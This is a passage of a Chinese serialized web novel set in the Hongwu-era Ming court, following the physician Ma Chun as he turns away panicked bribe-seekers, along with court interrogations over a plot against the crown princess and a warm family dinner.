“马神医!救苦救难的活菩萨!”胖子嗓门挺大,“您瞧瞧我这不成器的妻弟,自打京城里那起子破事传开,吓得丢了魂儿!夜夜啼哭,瞅谁都是恶鬼!”
他一边说,一边示意家丁把箱子往堂中空地咣当一放。
“一点小意思!全是上好的老山参、灵芝!给马神医补补气力!您这医馆救人性命,积攒功德,老天爷都看着呢!”他搓着手,眼珠滴溜溜往马淳身上瞟。
被家丁架着的那个年轻男人,缩着脖子,眼神直愣愣的,嘴唇乌青,浑身筛糠似地抖,牙关打颤,磕得咯咯响。是真吓破了胆。
“放哪儿!”小六没好气地指着墙根,“看病就看病,送礼放那边!”
胖子脸上横肉一僵,“小医官儿,话不是这么说。这不是送礼,是……是感激!感激马神医平日悬壶济世!我家老岳丈,说起来早年跟您府上魏老公爷,还在一口锅里搅过马勺呢!远是远了点,可这份香火情……”
马淳没看箱子,也没看胖子那套近乎的脸,直接走到那抖个不停的年轻男子面前。
手指搭上他冷冰冰的手腕。
“心脉紊乱,七魄飞散。”马淳收回手,对小六道,“惊悸入髓,按‘定魄散’的方子,加倍灌下去。灌不下去就针。”
胖子急了,往前凑:“马神医!药要开!可这心病……心病还得贵人医啊!京里现在到处抓人!鸡犬不宁!我岳父当年在通政司,也是给皇家效过力的老人,兢兢业业,就怕有小人攀扯!
“您位高爵显,又在宫里常走动,能不能在贵人面前美言几句?就提提名儿,让上面知道,我岳丈冯家是忠心的!”
他一股脑说完,眼巴巴看着马淳,像等待判刑。
马淳终于抬眼了,不是看胖子,是扫过那一张张惊弓之鸟般灰败的脸。“这里是医馆。”
“我是大夫,只懂金木水火土生克之理,风寒暑湿热邪进退之法。脉沉浮缓急我断得清,人心曲直是非,我辨不了,也没那本事插手!国公府的门房都进不了刑部大牢!谁有病,我治谁的病。谁犯事……”
“自有国家法度!”他又冷冷补充一句,“若你们来此,只为此等俗世攀援,这医馆,不医人心!”
那胖子脸上的笑和惧意彻底凝固,血色“唰”一下褪尽。
角落里端着安神药的刘掌柜,手指一个哆嗦,药碗差点脱手。
下午。
“国公爷!”穿酱色绸衫的钱掌柜挤到诊案前,“我那连襟就是个跑船的!前年替我岳家捎过两箱货,天知道里头是什么!您给宫里递个话……”
马淳的笔没停,药方唰唰往下写。“手。”
钱掌柜把手腕子按在脉枕上,嘴皮子还在抖:“蒋指挥使那边……我出这个数……”
他左手比了个五,袖口露出半截宝钞。
“换只手。”马淳眼皮没抬。
钱掌柜叹了口气,缩回手走了。
下一个补位的是粮铺的吴胖子。
“马爷!我冤枉啊!”他半个身子压上诊案,案脚吱呀一声,“就帮着运了批霉米!鬼知道是给营里吃的!您跟户部……”
“舌头伸出来。”马淳捏着银针。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!吴胖子噎住了。
针尖在他眼前晃。
穿旧官靴的瘦子又挨过来。“下官……”
“没官了。”小六提着药秤插嘴。
瘦子脸一抽:“是是是……马大夫,刑部大狱里有门路的,姓陈的狱吏您认得吧?他姑妈的表侄娶了我堂妹……”
马淳终于抬眼看他:“心火太旺,扎涌泉穴?”
瘦子缩了脚。
最后头戴兔毛帽的药材商猛地拍柜板,“装什么蒜!”
药柜嗡嗡响,学徒们停住抓药的手。
那人指着马淳鼻尖骂:“穿官袍抖起来了?当年爬徐家门槛的劲头呢!我们这些蝼蚁活该被碾死?求你办点事,那也算是给你面子。”
他这也是被逼急了,什么话都敢说。
马淳把笔一摔。
“你卖发霉当归的时候,”他冷哼,“想着给人活路了?”
药材商喉结一滚。
马淳站起来,“官油子抹你点油星,”他戳着对方胸口,“恨不得把亲爹塞进礼盒里送!”
药材商被戳得后退,兔毛帽歪了。
“火烧屁股了?”马淳冷笑,“找大夫擦屎?”
“老子开的是医馆。”他扯过刚写的药方,三两下撕碎,“不是阴沟!”
纸片雪似的盖住药材商鞋面。
“小六!”马淳嗓门忽然大了起来,“扛铡刀堵门!再有人放屁——敲碎牙喂狗!”
钱掌柜缩在墙角,脸白得像纸。
吴胖子死死捂着自己嘴巴。
瘦子官靴沾了地上的泥水。
那兔毛帽药材商成了众矢之的,脸上红一阵白一阵。
刚才拍柜子的手还在抖,“我……我……”
“你什么你!”马淳指着他鼻梁,“投机取巧的本事没了?官油子不给你续油水了?火是你自己点的!烧着屁股了想起找大夫?找人给你灭火擦屁股?想得美!”
马淳往前走了一步,“跟你这种人讲医道?玷污了大夫两个字!”
他环视着屋里噤若寒蝉的其他人,目光刀子一样剐过钱掌柜、吴胖子、瘦子官靴。
“你们!”马淳朝他们扫过去,“有一个算一个!”
“眼红人家升官发财的时候,削尖了脑袋往里钻!钻营的门道摸得门清!现在火烧连营,知道疼了?找谁?找老子这个你们嘴里只会‘装大尾巴狼’的大夫?”
他猛地拍在诊案上:“我告诉你!老子这医馆,只治身体有病的人!你们这种人——”
“心黑了!骨头软了!烂透了!没得治!”他斩钉截铁,“谁爱治谁治去!老子不伺候!”
他回身从桌案上抓起另一叠药方,正是刚才钱掌柜和吴胖子留下的。
看也没看,三两下撕个粉碎。
“走!”马淳手指大门,“都给我滚!”
碎纸片纷纷扬扬,混着药材碎屑,落了一地。
屋子里死寂。
兔毛帽药材商彻底懵了,嘴唇哆嗦着,想说什么,又被马淳那眼神吓了回去。
他哆嗦着弯腰,想去捡脚边撕碎的药方片。
“捡?”马淳喝了一声,“滚!别脏了我的地!”
药材商一个哆嗦,兔毛帽彻底歪到一边,露出了稀疏的头顶。
他再不敢看马淳,连滚带爬地往门口挪。
钱掌柜、吴胖子还有那瘦子,也像被鞭子抽了,低着头,缩着脖子,挤挤挨挨地往门口蹭,生怕慢了一步。
“小六!”马淳看都没看那些仓皇逃窜的背影,“把地上的破烂给我扫出去!脏!”
“哎!”小六响亮地应了一声,提起墙角的大扫帚,憋着笑,唰啦唰啦地扫起来。
碎纸片、药材屑,一股脑地全被扫向门口。
几个刚才一直躲在后面排队,没敢吭声的真病人,你看我,我看你。
一个花白胡子的老头捂着嘴咳了两声,小心翼翼地走上前,“马…马大夫,我这老寒腿……”
马淳深吸了一口气,那股刺人的寒气散了些。
他重新坐下,拿起刚才脉枕,换了个干净的垫上。
“坐。”马淳声音恢复了平常的语调,对着老头,“手放上来。”
老头愣了一下,赶紧把手腕放上脉枕。
马淳手指搭了上去。
小六麻利地把最后一点碎屑扫出门槛,转身对着排队的病人吆喝:“都排好队!一个一个来!看病就看病,别扯些有的没的!师父今天手凉着呢!”
后面几个学徒互相挤挤眼睛,赶紧低头去碾药的碾药,抓药的抓药。
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第246章 江南士绅就是一群蛆!!
“下一位。”马淳说。
学徒把个裹棉袄的老头搀上来。
老头咳得缩成团,手抖得抓不住脉枕。
马淳按住他腕子。
这时门帘猛地掀起。
人影扑进来,是钱掌柜。
他搓手哈白气:“国公爷!刚忘了说城西王员外……”
马淳眼都没抬。“方子开好了。抓药柜台交钱。”
钱掌柜往前挪半步:“不是这意思!王员外托我递话……”
小六正搬铡刀往门口架。
钱掌柜舌头打结,盯着那刀口锈斑,像被掐了嗓子的鸡。
马淳推脉枕。“治病抓药随时来。”他指铡刀,“再说半个字的废话……”
钱掌柜扭头就冲进雪里。
皇城夹道,蒋瓛的值房。
“指挥使,小青村线报。”
蒋瓛眼皮没抬。
“钱仲礼,吴满囤,还有革职的孙世海。”百户报菜名似的,“今儿全在徐国公那儿碰钉子。”
“耍什么把戏?”
“哭着喊着求情。国公爷当场把方子撕了。”百户学马淳拍桌,“国公爷说:老子开的是医馆!不是阴沟!说再啰嗦敲碎牙喂狗。”
蒋瓛把刀挂上墙,“知道了。”
乾清宫的暖阁。
马皇后剥橘子,白络撕得干干净净。
朱元璋盘腿坐炕上,蘸朱砂批奏折。
蒋瓛走进来。
“讲。”
“徐国公今儿赶人。”蒋瓛声音平板,“钱粮商几个上医馆聒噪,差点挨了铡刀伺候。”
马皇后橘瓣掉膝上。
“又闹什么幺蛾子?”朱元璋笔没停。
“想走门路脱罪。国公爷说医馆不是阴沟。”
朱元璋噗嗤笑出声。
“茅坑里的石头!”他撂笔,“那些个蛆虫倒敢去碰!”
马皇后捡橘瓣:“可不撞刀口上了。”
“该!”朱元璋拍炕桌,“当咱小舅子的面耍滑头,活该!”
暖阁帘子一掀,朱标闻到了一股药味。
朱标解氅衣的手顿了顿:“父皇咳疾又犯了?”
“老毛病。”朱元璋裹着大氅窝在躺椅里,眼皮都没抬,“外头清干净了?”
朱标把氅衣递给内侍,从袖中抽出卷黄绫册子。
“应天府拘押一百七十六人。”他声音很平静,“松江府抄没商号九家,苏州下狱官吏四十一员。扬州通判今晨悬梁了,留的绝命书在这儿。”
一本薄册递到躺椅边。
朱元璋没接,只从鼻子哼出声:“便宜他了。礼部那头呢?”
朱标合上册页:“逮了侍郎、主事各一,都给事中两人。但……”他喉结动了动,“今日申时三刻,镇抚司围了陈德文府邸。”
马皇后捻佛珠的手停了:“礼部尚书?他……他不是……”
“陈部堂长子陈珪,娶的是吕业妻妹的女儿。”朱标从袖中又抽出一张纸,“三年前陈珪外放两淮盐运司判官,经手的盐引有六成走的是海通商行的船。海通背后东家,便是吕业。”
躺椅吱呀一声响。
朱元璋支起身子。
“陈德文,”他慢吞吞嚼着这个名字。
朱标捏着纸张的手紧了紧:“人已押入诏狱甲字号房。儿臣请旨亲审。”
半晌,朱元璋的声音砸下来:
“审!”
……
诏狱。
地牢的寒气渗进骨头缝。
朱标在后面走着,蒋瓛举着的火把在前头。
尽头铁门咣啷拉开,陈德文蜷在墙角草席上,绯红官袍扒了,只留件皱巴巴的素色中衣。
左脚踝锁着条铁链,链子钉死在墙里。
朱标挥手。
校尉搬来张榆木交椅,他撩袍坐下。
“陈部堂。”朱标道了一声。
陈德文眼皮颤了颤,没睁眼。
蒋瓛靴尖踢在铁链上,镣铐哗啦一震:“殿下问话!”
陈德文终于掀起眼皮。
“太子爷……”他似笑非笑,“亲自来送老臣?”
朱标身子微微前倾,“你陈氏世代清名,你更是御笔亲点的清流魁首。两淮盐运的油水,养得饱陈家?”
陈德文脖子一梗,铁链跟着哗啦响:“太子既查得明白,还问什么!小儿糊涂,栽进泥坑,是老臣治家不严!”
朱标突然笑了。
“吕家许了你什么?”朱标逼得更近,“让十年清名的陈部堂,甘心当吕氏的垫脚石,在常氏药碗边松手?”
陈德文枯皱的眼皮猛地一跳。
“松手?”他突然嘶声笑起来,“太子心里明镜似的!淮西那群狼啃得大明朝千疮百孔,光一个胡惟庸案填得满他们的血盆口?”
他猛地昂起头,颈上青筋暴突,“你们朱家天子倒好!转头又要捧出个小淮西头子来!朱雄英——”
石牢里死寂一瞬。
“那个淮西女人血脉里爬出来的崽子!”陈德文干裂的嘴唇迸出血珠,“他登了位,蓝玉?常茂?那群虎狼再掌兵权!这江山是姓朱还是姓淮西!”
朱标又问,“所以毒杀太子妃?谋害皇长孙?”
“是!!”陈德文野兽般的嚎叫,“这毒计是吕氏递的刀!可满朝盼着这把刀落下的何止我陈德文!何止吕氏!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他整个人扑到铁链尽头,锁链绷得笔直,“杀一个常氏,断淮西外戚登天的梯!剜掉朱雄英这颗淮西毒瘤!值!!”
朱标坐在那张榆木交椅上,身子微微前倾。
“所以,”朱标开口,“你觉得毒杀太子妃,暗算皇长孙,这叫为朝廷,为江山社稷着想?”
陈德文脖子梗起来。
“那是自然!”他说道,带着一股破罐子破摔的狠劲,“胡惟庸倒了,血淌成河,填饱了谁?淮西那群狼!陛下削了中书省,抬的是谁?还是淮西!蓝玉!常家那群虎豹!
“胡案才几年?朝堂上下,军前幕后,哪块肥肉不沾着淮西的血沫子?”
他喘了口气。
“太子妃姓常!常遇春的女儿!她肚子里爬出来的崽子,流着谁的血?常家!蓝玉是他舅爷!他要是坐上了那个位置,”陈德文猛地挣扎了一下,锁链绷紧,“这江山姓朱还是姓淮西?昂?!”
朱标静静听着,脸上看不出什么波澜。
“没了淮西这群狼,”朱标声音依旧平,“让江南那帮子士人老爷们上去,把持住朝堂,塞满六部,搞成一言堂?”
他顿了顿,下巴抬了抬,看着陈德文那双混浊的眼睛,“那样,就好了?”
陈德文喉结滚动了一下,想说什么。
“好啊?”朱标没给他插嘴的机会,直接往下说,“洪武十三年,户部员外郎王明举,你陈部堂的同乡后进吧?怎么下去的?
“苏州府松江段官仓,三万石新米上报入库,半个月后,成了陈米?霉米?哪去了?倒腾到杭州府,挂上了四海米行的商牌子,翻了两倍的价钱!
“王明举家里藏着的那几张契票,买的就是那批霉米!这粮,最后是谁家商船运去浙东,掺进军粮里的?海通商行!赵掌柜!赵掌柜背后是谁?你陈部堂心里没数?”
陈德文脸上那点强撑的狠劲僵住了,呼吸有点乱。
朱标像是没看见,继续往下数。
“同年十月,应天府城西开河役,征的五百民夫。名单上的人,死了三十七个,重伤四十一个。报上来的是塌方。查下去呢?为什么塌?
“木石用料减半!工部拨下的采石银子,去哪了?采办是苏州巨贾周家的二管事,账面上做得漂亮。
“那些省下来的银子,周家买了大田庄,盖了五进的大宅子。周家给谁送的年敬厚?陈部堂?还是你那个在都察院当巡按御史的亲外甥?那宅子现在盖在哪?松江府金沙滩!”
陈德文嘴唇哆嗦着,想开口驳斥。
朱标没停:“洪武十四年,浙江台州卫的兵甲,一水的烂铁片子,穿身上自己都能裂开的口子!
“卫所指挥使江南顾家顾世廉侄女婿的亲弟吧?军械采买谁做的?江南大豪沈万同!这烂甲烂枪的价钱,反倒比往年好钢好铁的采买款子,还多报了两成!那多出来的两成,是谁分了账?”
陈德文眼睛瞪得老大。
“再说去年的粮长案。”朱标往前倾了点身子,“洪武十六年十一月,江西吉安府庐陵县。当地粮长韩福山,好好一个老实人,催缴秋粮。怎么死的?
“被人半夜堵在家里,棍棒打成了烂泥!报上来是刁民作乱。哼。”朱标露出一抹冷笑,“死前三天,他递了什么文书?查到了庐陵县内六家粮行,联合压价!贱收民粮!再拿往年霉烂的坏米填充官仓!
“那六家粮行背后站着的东家是谁?全是你江南士绅!那里面领头砸死韩粮长的打手头目,姓什么?王三狗!王三狗他亲姐夫,可是你陈家宗祠的守祠人!”
陈德文像是被一柄无形的重锤砸中了心口。
他猛地佝偻下去,瘦弱的身子蜷成一团。
那声嘶力竭的底气没了。
“江南……士绅……”朱标一个字一个字地从牙缝里往外挤,“你们要的权。就是让这群蛀虫趴在朝廷身上,趴在百姓骨头上,喝血吮髓!你们要的,从来不是社稷!是你们自家的金山银山!
“是官场上一张张打通的关节!是你们江南大户联起手来,天底下所有银子粮食丝绸,都得按你们定的价!都得听你们的令!”
他猛地站起身。
朱标没再看陈德文。
“胡惟庸是狼,是虎,宰了就宰了。可你们呢?”朱标的声音没有怒骂,“你们就是一群蛆!钻进朝廷的五脏六腑,啃的是根子!烂的是人心!一边吸着血,一边喊着为国为民!呸!”
他最后那口唾沫没吐出来,“你们比胡惟庸更毒!更下作!”
陈德文整个人彻底瘫在了草堆上,像一个被抽掉了所有骨头的破口袋。
“来人。”朱标道。
“殿下!”人影贴在门洞外。
“带下去。”朱标道,“按律。”
“是!”守卫响亮应答。
脚步靠近陈德文,像拖拽一袋米粮,两个狱卒毫不费力地架起那瘫软的身子。
陈德文的头耷拉着,他没再抬头,铁门咣当一声关上。
朱标独自在昏暗的石室里站了一会。
黑暗中,那个魁梧的身影微微动了一下。
一点微不可察的下颌点动动作。
像是最终确认了什么。
脚步声沉稳地离开,消失在黑暗的甬道深处……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第247章 朱元璋:敢猜咱的心思!那就都死
刑部主事李谦跪在堂中,囚衣湿了大半,分不清是汗是尿。
朱元璋盘腿坐在一张宽大的楠木交椅上,身子大半隐在阴影里,只有一只手搁在红木几上。
指尖缓慢地一下、一下,叩击着冰冷光滑的桌面。
咚,咚,咚。
旁边的炭盆烧得通红,暖气熏人。
朱标垂手立在侧,屏着呼吸。
“吕氏上位”朱元璋眼皮撩了一下,“你们这帮人就那么笃定?笃定常氏一去,咱会让吕氏来填这个坑?而不是再找个勋贵家的闺女?”
李谦趴在地上,抖成一团烂泥。
他牙齿咯咯打架,“陛……陛下罪臣……等不敢妄揣圣意”
“不敢?”朱元璋的声音陡然拔高半分,那只叩击桌面的手停住了,“给咱说实话!”
李谦猛一哆嗦。
他知道再不说点掏心窝子的,今天怕是熬不过去。
“是因为那些勋贵他们早就把路走绝了啊陛下!”
他豁出去了,“洪武八年冬永平侯河阳屯田,他圈了三百顷!打死了地方里长!激起民变,陛下削了他的爵!押解入京下狱严惩……”
朱元璋手指动了动。
李谦喘着粗气,“可您听听底下人怎么说?他们说永平侯不过是在自己封地取几亩薄田,弄死个把草民,犯了多大的事儿?”
“接着讲。”朱元璋冷声道。
其实听到这里他就已经开始觉得,这些事,的确容易让人猜出他的心思。
但他不甘心,并不觉得自己的心思这么容易猜测。
李谦汗滴在地上。
“洪洪武九年开国公府,他家奴在凤阳祖陵边上圈地,设私堂,打伤打死了九个佃农。
“国公府保了那奴才,对外只推说说误伤……”
他抖得更厉害了。
“还有洪武十一年前那些事,圈地、抢掠民女、私设关卡、抗拒地方官府、私蓄兵甲、隐匿户口,被御史弹劾过,被陛下下过重典的勋贵子弟,前后足有二十三人!”
他缓过一口气。
“这些事勋贵们私下里,都不觉得是天大的错处,他们心里还留着前元那套投下食邑的老规矩!”
他彻底豁出去了,“他们觉得在自己的封地上,在那些他们说话顶用的地方,他们就是土皇帝!
“陛下您登基这些年削爵、收权、用重刑震慑,他们面儿上是怕了,可骨子里未必真服气!未必真断了那个念想!”
“所以……”朱元璋的声音更冷,“你们这帮人,就认准了,咱恨透了这帮鼻孔朝天的旧勋贵?”
“所以常氏一死,咱宁可让个文官女儿上来,也绝不会再让勋贵之女踏进东宫门槛?”
“生怕她们再生下流着勋贵血的皇孙,将来又弄出一堆仗着裙带关系横行霸道的强龙地头蛇?来拖累,来钳制咱的后人?!”
李谦“哐当”一声软倒在地。
身体弓着,像只煮熟的虾子。
他瘫在那,不再争辩,这无声的死寂,比最激烈的否认,更像一把锤,重重砸实了朱元璋的心里。
朱元璋靠回椅背,脊梁骨绷得笔直。
他一直知道朝野私底下有这种猜测。
他废了多大的力气。
杀了多少人。
流的血足够染红几条街。
才把勋贵那根蠢蠢欲动、想裂土称王的脊梁骨打断。
才把皇权威严,死死焊在天上。
如今,这些他立起的铁规矩,这些他洒的血,竟成了这群下臣把吕氏那贱人捧到东宫主位上的最强硬的推手?!
这帮混账把他这皇帝的心思摸得这么准!
算得这么死!
像在盘子里看着一颗活蹦乱跳的棋子!
大殿里一片死寂。
只剩下李谦压抑不住的抽噎。
还有牙齿“格格格”打颤的细碎声响。
朱标站在几步外。
那冰冷清晰的剖析,剥开了东宫旧事最里层,最朴素的逻辑。
那些看似复杂如蛛网的阴谋,拨开了层层面纱,露出的竟是最直白最凶狠的人性贪妄!
勋贵强横不得圣心,文官根基浅容易掌控,吕氏便顺势爬了上去。
多么“朴实无华”的道理,又是多么致命的算计!
蒋瓛像是柱子投下的影子,纹丝不动,眼观鼻,鼻观心。
朱元璋盯着藻井上那盘踞的金龙。
金漆剥落了些许,那龙眼空洞,却仿佛在睥睨着他,也像是在无声地嘲笑。
……
徐国公府暖阁。
炉火烧得正旺。
徐达抱着小马寻坐在宽塌上。
小家伙胖手紧紧揪着他一绺胡子,“咯咯”地笑。
徐妙云手里端着一碗莲子汤,正一勺一勺的喝着。
徐辉祖、徐增寿坐在暖炉旁的锦墩上。
徐妙锦心不在焉地翻着本坊间话本。
桌上点心碟子里,精致酥饼还冒着热气。
“外头抓得凶啊。”徐增寿指尖捏着颗核桃,把玩了半天,最终没捏开,又轻轻放回白瓷盘里,“宫里宫外全是风声。这雪不知何时能停。”
徐达捏住外孙那不安分的小胖手。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!胡茬逗得小家伙咯咯笑得更欢。
老头也没抬头。“根子烂了。脓包不挤干净,这雪就停不了,捂得人心都发霉了。”
徐辉祖眉头锁紧,忍不住接话,“父亲您说这事何以至此?牵连太广了。”
“哼。”徐达鼻子里挤出声冷笑。
抬眼扫过两个儿子,目光里全是岁月磨砺后的冷峻。
“贪心不足蛇吞象罢了。”他颠了颠怀里的小肉团,“瞧好了这才开头。勋贵划地自肥,士绅结党营私,搅和在一口锅里,还沾上皇嗣的血腥,陛下眼里最揉不得沙子!这些人能好?”
“你大姐如今日子安稳,亏得你大姐嫁的好。”
他眼神转向徐妙云,缓了半分。
“瞧瞧常家,闺女走了四年,这桩事,还在把人骨头往磨里碾!都是结亲惹出的祸根!”他声音低沉,“根子不正树长得再大再招摇,一阵邪风,就得咔嚓!”
徐妙云喝完了最后一口汤,将碗给边上的嬷嬷,低声道,“父亲说的是,夫君他从不攀附这些弯弯绕,一心就奔着治病救人去”
“所以外头的惊涛骇浪,离这儿远着呢。”
徐达深深看了女儿一眼。
“是啊。”老头轻轻吐出口气,“咱们徐家不图那泼天的权势富贵,堂堂正正站着做人,踏踏实实办事。
“你们姐夫,心在病人身上,路在自个儿脚底下,一步一个印子稳当着走,这才是长久的道儿。”
“千万别学那些攀高枝,指着结亲一步登天的,爬得多高,摔下来就得有多惨!看看今儿这场大风雪,多少高楼眨眼就塌了!”
徐妙锦放下手里的书,忍不住小声嘀咕。“可爹当年您……”
徐达难得地露出一丝笑意。“你爹我是跟着陛下,从死人堆里,一刀一剑杀出来的功勋!没指望攀谁的高门,也不靠着把闺女送进哪个府邸。结亲?”
他语气带着自傲,“不过是锦上添个花!打铁终究要靠自身硬!脊梁骨得撑得住!”
“马小子有大本事偏不结党、不钻营,这才是真正明白人!”
“跟这种人搭伙过日子,比嫁那些空有门户的绣花枕头强了不知多少倍!”
“你大姐稳当,我和你娘这心才真能放在肚子里头。”
暖阁里一片沉默。
门外脚步声由远及近。
门帘哗啦一下掀开。
带着一股外面扑进来的寒气。
马淳站在门口,带着一身刺骨的冷气,跨进门槛。
“岳父来了!”他看见塌上的徐达。
眼神里有种风雪吹打后的疲惫,也带着一丝安定。
目光在炉边众人脸上扫过。
看到徐妙云,又看看岳父怀里揪胡子傻乐的寻儿,他利落地脱下沾雪的外袍,丢给迎上来的仆人。
徐辉祖、徐增寿、徐妙锦三个人赶忙站起来行礼。
马淳摆摆手,“都是自家人不要这么客套,来了后,家里热闹,岳父难得来,喝几杯呗!”
徐达哈哈一笑:“那当然,天寒地冻,正需好酒暖身。”
马淳也跟着豪气起来。
“快掌灯!”他对管家吩咐,“摆锅子!天杀冷,烫点好肉,喝一口!”
徐达抱着小外孙,看着他张罗。
“好!”徐达咧嘴笑了。
徐增寿道:“姐夫就等你回来!快快……整点热乎的!我还要吃你府里的火锅,那味道,绝了!”
众人看他馋成这样,都哈哈大笑,气氛好得很。
热气腾腾的铜火锅端了上来,中间烟囱冒着白气,炭火红亮,锅里汤底咕嘟咕嘟滚开。
浓白的骨头汤,泛着油花,牛羊肉切成薄如纸的片,码在冰玉盘上。
翠绿的菜蔬、嫩白的豆腐、金黄的冻豆腐、鲜红的虾滑摆了一圈。
蘸料碗摆开。
芝麻酱、红腐乳、韭菜花、炸辣椒香气瞬间压下了外面透进来的风雪寒。
几张矮几围着火锅拼好,一家人挪了过去。
碗筷碰撞,几杯温好的黄酒下肚,胃里有了热乎气,气氛也慢慢活络了些。
“今天……”马淳夹起一片薄薄的羊肉,在滚汤里轻轻一涮,蘸了麻酱,送进嘴里,满足地嚼着,“医馆里尽是些丢了魂的。”
桌上目光都投向他。
“有个刘掌柜整宿合不上眼。说一闭眼就看见铁链子,人都瘦脱了形。”
“还有个药材贩子吓得整宿哭,经常半夜尿在裤裆里。”
徐达拿小勺舀了点汤吹凉,喂给怀里不安分的小马寻。
“哼”老头嗤笑一声,“活该!走夜路撞了鬼,想起找大夫壮胆了?”
他给小外孙擦了擦蹭上油的嘴。
“是啊!”马淳又涮了一片肉,“话没说两句,就往我袖口塞宝钞,想让我在蒋瓛那递话?”
他摇摇头,眼神有点冷,“一个算盘打得劈啪响的绸缎商,账目清白?”
“去年低价强收桑户蚕茧,逼得人跳河那会儿,他怎么不说清白?”
徐妙云听着丈夫的话,再看看对面父亲怀里闹腾的小胖墩,一股难以言喻的平安感,像暖炉里的炭火烘着她。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她伸出一只手,轻轻捏了捏丈夫搁在桌下的手背,指尖微凉却稳当。
马淳反手握住妻子温软的手。
指腹在她手背上摩挲了一下。
又夹起一筷子青菜,“还有个胖子抬着个樟木箱子,进门就哭丧,说小舅子吓丢了魂,求到我名下,要我给那不知躲在哪里的老丈人在‘贵人’跟前求情!”
“呸!”徐增寿把涮好的肉塞进嘴里,含糊骂了句,“死到临头想起攀关系了!”
锅里的汤翻滚着。
马淳看着那白汽,“全京城怕的吓掉魂的不止一个。一个案子、一条链子,崩开了多少侥幸!多少人晚上要睡不着了。”
外面是风卷着雪,屋里红亮的炭火,炖着翻滚的热汤。
食物暖了肠胃,酒驱散了寒意。
小马寻在徐达怀里扭来扭去,伸出胖手,要够桌上红彤彤的虾滑。
徐达躲开他。
“这小子劲儿还不小!”他哈哈笑起来,小心翼翼地掰开那肉乎的小手。
小马寻不满地嘟着嘴。
“下回来……”徐达把他举高了些,小胖墩咯咯笑着,伸手去够外公花白的头发,“外公教你骑马!”
老头笑着,声音洪亮。
徐妙锦抢了一颗嫩青菜,塞进嘴里,看着闹腾的小外甥。
炉子里的火,映在每人脸上都是暖的。
马淳把烫好的羊肉,蘸足了料放进妻子面前的空碗里,然后自己也端起了酒杯。
“娘子,咱们两个走一个!”马淳对着徐妙云道。
徐妙云举起了酒杯,酒是暖的,她的心更暖,“好啊!”
夫妻二人碰了一杯。
门外的风声,似乎远去了,锅里的热汤还在滚。
小马寻被乳娘抱走时,还伸着胖胳膊,朝着外公的方向,依依不舍。
马淳夫妻二人将徐达一家送到府门外,将他们送上车,马淳还不忘对徐达道,“岳父,下雪天常来。”
徐达哈哈一笑,“好!下次咱去弄匹好马,得教小家伙骑马了!”
徐妙锦在车厢里道:“外甥才三个月而已。”
“找匹小马驹养着呗。”徐增寿接过话茬来。
“那感情好!”徐辉祖道:“我去找!”
气氛依旧很热闹。
咔哒咔哒……
魏国公府的马车远去。
马淳揽着妻子进了府。
进了房间,暖气蒸氲的二人暖融融的。
马寻被奶娘带去玩了,屋子里只剩下夫妻二人。
“夫人!你喝了酒的样子真好看!”马淳借着酒气笑道。
徐妙云连更好了……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第248章 威胁!你杀了我们!陛下不会饶你
日头偏西,医馆今日病人不算多,马淳正埋头整理着昨日用过的银针。
木门被推开,力道有点急。
一个人影快步走了进来。
马淳抬头,眉头微挑,有些意外。
来人穿着一身略显旧了的青色官袍,面色灰败,额角有细密的汗珠。
“李主事?”马淳站起身,招呼学徒看茶,“快请坐。你这是哪里不适?”
工部主事李源,马淳认得。
这人平时是个闷葫芦,不大参与那些勋贵子弟的事,算是个踏实做事的。
李源摆摆手,没接学徒递过来的茶杯,直接在诊脉的凳子上坐下,动作有些别扭。
“马神医坐就不必了。”他声音发紧,透着慌乱,“我这急病,急病。”
他眼神不由自主地瞟向门口。
马淳看他神色不对,又见他坐姿僵硬,心中了然。
示意伙计放下茶盏,让他出去带上门。
诊室里只剩下两人。
马淳坐下,平静地问:“是‘后门’不舒服?坐立难安,便血?”
李源脸上的血色褪得更干净了,点了点头。
“是是‘肠风下血’,老毛病了,可今天特别痛火烧似的”
马淳了然。
痔漏,其实就是痔疮,这算不得疑难杂症,几针下去辅以汤药,缓解疼痛不难。
“李主事不必忧心,此疾常见,不算凶险。”马淳语调平和,“待我为你诊脉施针,疼痛立减。只是需调理些时日,方能根除。”
他起身去准备针具和金疮药。
李源看着马淳忙碌的背影,脸上的恐慌压下了点,“马神医你看着真风光,可我们这些夹缝里的难啊”
马淳动作没停,只是嗯了一声,示意他在听。
李源深吸一口气,“难!真的难!”
他语调急促起来,“在工部,就是个劳碌跑腿的命!上头顶着公侯伯爷们那些人那些勋贵。”
“他们懂什么?”李源压抑着长久的不满和愤懑,“懂怎么治河修堤?懂怎么核算物料?懂怎么安排匠人营建?屁!他们就知道伸手!张嘴!要银子!要修奢华的府邸!要摆排场!要最快!最好!”
“图纸画出来,他们嫌工时长!物料用了足色的,他们嫌贵!朝廷拨的款子根本不够他们塞牙缝!催逼着我们左支右绌,拆东墙补西墙。”
“底下人怎么办?我们这些做实事的,只能想办法,硬着头皮周旋账目上稍微动点手脚苛扣点下面民夫的口粮截留些本应用在别处的料款才能勉强把这些祖宗应付过去!”
“不然工期延误了,担待不起!”他猛地一拳砸在自己大腿上,牵动了患处,疼得倒抽一口冷气,脸都白了。
“嘶呃……”
喘息了一阵,他红着眼,情绪反而更加激动:“我们说破了嘴,讲这不合规制,那超出预算!谁听?谁敢说?我们只是些芝麻绿豆的主事、员外郎!他们一个不高兴,随便给个脸色,就让我们吃不了兜着走!官位丢了都是轻的!有时候真恨不得真想!”
他说不下去了,胸口剧烈起伏。
马淳拿过一枚较长的毫针,在灯火上燎过消毒,神色依旧平静。
他看着李源因激动而扭曲的脸,缓缓开口:
“李主事,消消火气。疼得厉害,更要平心静气。”
“你既找到我医治此疾,当知医道根基何在。”
李源喘着粗气,茫然地看他。
马淳捏着针,“医道讲求‘中正’。既不过用寒凉,亦不过投温热。阴不能盛,阳亦不可亢。人身气血、阴阳、经络、腑脏,贵在一‘和’字。”
他顿了顿,针尖对准李源后腰附近的穴位,稳稳刺入。
“人体如此。天地万物,纷繁复杂,若无一‘衡’字居中调停,会如何?”
银针捻动。
一股温煦的热流伴随着轻微的酸胀感,顺着脊椎蔓延开。
李源紧绷的身体微微一松,紧皱的眉头稍稍舒展开。
